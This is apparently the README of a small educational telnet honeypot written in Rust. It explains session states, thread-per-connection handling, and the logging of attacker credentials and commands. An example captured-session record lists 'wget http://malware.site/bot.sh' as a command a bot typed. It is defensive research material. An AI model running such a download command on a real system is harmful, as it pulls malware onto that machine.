this project is a minimal telnet honeypot written in rust with focus on simplicity, state management, and logging, not robust emulation or performance. the goal is to understand how automated bots interact with exposed services and how to build a basic state machine for network protocols.
this is not a production honeypot and does not aim to replace tools like cowrie. it is a learning project meant to build a correct mental model of tcp servers, threading, and session tracking.
https://tools.ietf.org/html/rfc854 (telnet protocol specification)
https://en.wikipedia.org/wiki/Telnet
https://doc.rust-lang.org/std/net/struct.TcpListener.html
https://doc.rust-lang.org/std/thread/
https://www.geeksforgeeks.org/blogs/what-is-honeypot/
https://github.com/cowrie/cowrie (inspiration for telnet/ssh honeypots)
most “honeypot” projects jump directly to complex emulation or massive logging frameworks and hide the important parts:
- handling raw tcp connections
- managing session state (login -> shell -> exit)
- capturing attacker input in real-time
- the illusion of an interactive shell
this project intentionally stays minimal so the core logic is understandable.
learning inspiration came from:
- desire to understand botnet behavior
- rust’s ownership model applied to network sessions
- building state machines for protocols
- listens on tcp port 2323
- accepts incoming connections using
std::threadfor concurrency - presents a fake ubuntu 18.04 login prompt
- manages sessions via a state machine (
WaitUsername->WaitPassword->ShellActive) - logs every keystroke and command to stdout
- simulates basic shell commands (
ls,whoami,exit) to keep attackers engaged - assigns unique session ids to track multiple attackers
this is a deliberate design choice.
- no real file system access (commands are hardcoded responses)
- no telnet option negotiation (raw tcp is used)
- no async/await (uses thread-per-connection for simplicity)
- no database storage (logs to stdout only)
- no complex terminal emulation
the goal is to capture credentials and initial commands, not to fully fool a human.
a session in this server is an isolated state machine.
accept()spawns a new thread for the connection- a
Sessionstruct is created (id, ip, state:NewConnection) - banner and login prompt are sent immediately
- state moves to
WaitUsername-> input is captured -> state moves toWaitPassword - credentials are logged
- state moves to
ShellActive-> prompt changes toroot@ubuntu:~# - commands are parsed and fake responses are sent
- session ends on disconnect or
exitcommand
data captured per session:
{
"session_id": 42,
"client_ip": "45.83.91.122",
"username": "root",
"password": "123456",
"commands": [
"uname -a",
"wget http://malware.site/bot.sh"
]
}threading is used instead of async.
- each connection gets its own os thread (
std::thread::spawn) - memory is owned by the thread (no complex sharing or mutexes needed for session state)
global_id_counteris managed by the main thread, so no mutex is needed for ID generation
this separation ensures that if one session panics or blocks, others are unaffected (mostly).
the core logic is a matching loop over session.state.
- NewConnection: initial setup
- WaitUsername: captures login
- WaitPassword: captures password
- ShellActive: main interaction loop
this explicit state management prevents attackers from running commands before logging in.
cargo runthen test with another terminal:
telnet localhost 2323try logging in with any credentials and run:
lswhoamiexit
this project is about understanding the "interaction" side of security. it is about:
- how easy it is to spin up a fake service
- observing raw bot traffic
- implementing protocol logic in rust
be careful running this on a public ip. bots will find you.